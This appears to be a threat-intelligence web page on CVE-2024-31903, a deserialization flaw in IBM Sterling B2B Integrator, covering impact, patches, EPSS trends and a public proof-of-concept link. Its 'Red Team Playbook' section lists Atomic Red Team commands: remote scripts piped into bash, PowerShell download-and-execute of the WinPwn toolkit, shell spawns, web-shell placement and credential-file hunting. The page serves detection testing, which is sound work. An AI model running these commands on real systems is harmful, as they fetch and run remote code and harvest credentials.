CVE-2024-31903
Overview
This vulnerability is a deserialization of untrusted data flaw affecting IBM Sterling B2B Integrator Standard Edition. The root cause lies in the improper handling of serialized objects within the application, allowing maliciously crafted input to be deserialized without validation. The affected component is the deserialization mechanism in versions 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.2 of the product.
Vulnerability Description
IBM Sterling B2B Integrator Standard Edition 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.2 allow an attacker on the local network to execute arbitrary code on the system, caused by the deserialization of untrusted data.
Impact
An attacker on the local network can exploit this vulnerability to execute arbitrary code on the affected system without requiring authentication (PR:N). The attack vector is local network access (AV:A) with low complexity (AC:L) and no user interaction (UI:N) needed. Successful exploitation can lead to full compromise of the system, including confidentiality, integrity, and availability impacts (C:H/I:H/A:H), enabling unauthorized control over business processes and sensitive data.
Solution
IBM has released patches addressing this vulnerability for IBM Sterling B2B Integrator Standard Edition versions 6.1.2.6 and 6.2.0.3 and later. Administrators should apply the updates as detailed in the IBM advisory at https://www.ibm.com/support/pages/node/7172233. No specific workarounds are provided; remediation requires upgrading to the fixed versions outlined by IBM.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in IBM Sterling B2B Integrator versions 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.2 arises from the insecure deserialization of untrusted data. This flaw allows an attacker on the local network to execute arbitrary code on the affected system. Deserialization is a process where data structures or objects are reconstructed from a serialized format, which can be exploited if the data being deserialized is not properly validated. In this case, an attacker can manipulate the serialized data, leading to the execution of malicious code within the context of the application, potentially compromising the entire system.
The primary attack vector for this vulnerability is local network access. An attacker could leverage this flaw by sending specially crafted data to the application, which would then be deserialized without adequate checks. This could occur through various means, such as exploiting a vulnerable API endpoint or manipulating data exchanged between trusted systems. Once the attacker successfully executes arbitrary code, they could gain control over the system, escalate privileges, and potentially pivot to other systems within the network, leading to a broader compromise.
The real-world impact of this vulnerability can be significant, especially for organizations that rely on IBM Sterling B2B Integrator for secure file transfers and business transactions. The ability to execute arbitrary code can lead to unauthorized access to sensitive data, disruption of business operations, and potential financial losses. Additionally, the exposure of critical infrastructure to local network attackers increases the risk of data breaches and compliance violations, which can result in reputational damage and legal ramifications. The high CVSS score of 8.8 indicates that this vulnerability poses a serious threat, necessitating immediate attention from affected organizations.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching the affected software versions is crucial to protect against known vulnerabilities. Network segmentation can help limit access to sensitive systems, reducing the likelihood of an attacker gaining local network access. Additionally, employing intrusion detection systems (IDS) can help identify suspicious activities related to the exploitation of this vulnerability. Organizations should also conduct thorough security assessments and penetration testing to identify potential weaknesses in their systems and ensure that proper input validation and sanitization practices are in place to prevent deserialization attacks.
In conclusion, the vulnerability in IBM Sterling B2B Integrator represents a critical security risk that can lead to severe consequences if left unaddressed. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies will not only protect the integrity of their systems but also safeguard sensitive business data from malicious actors.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-31903, reflecting a growing likelihood of exploitation in the near term. The EPSS score rose by approximately 26%, accompanied by a steady upward trend over the past week, signaling heightened attacker interest or improved exploit reliability. Concurrently, new proof-of-concept code targeting both local privilege escalation and remote code execution vectors has been publicly disclosed, potentially lowering the barrier for adversaries to weaponize this vulnerability. Although the rapid increase threshold has not been crossed, the combination of rising EPSS and emerging exploit demonstrations indicates an elevated risk environment. For defenders, this shift underscores the urgency of monitoring for exploitation attempts and reassessing detection capabilities, as the vulnerability’s exploitation potential is becoming more tangible and accessible. Consequently, the threat level associated with CVE-2024-31903 should be considered increasingly severe, warranting closer attention within security operations.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ibm | Sterling B2b Integrator | All |
cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:standard:*:*:*
|
|
|
Ibm | Sterling B2b Integrator | All |
cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:standard:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ReversecLabs/ibm-sterling-b2b-integrator-poc
PoC code for the LPE and RCE (CVE-2024-31903) attacks against the IBM Sterling B2B Integrator
|
ReversecLabs | 1 | 0 | 2025-02-18 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
60%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-31903 |
| ibm.com |
GitHub CVE
vendor-advisory
|
https://www.ibm.com/support/pages/node/7172233 |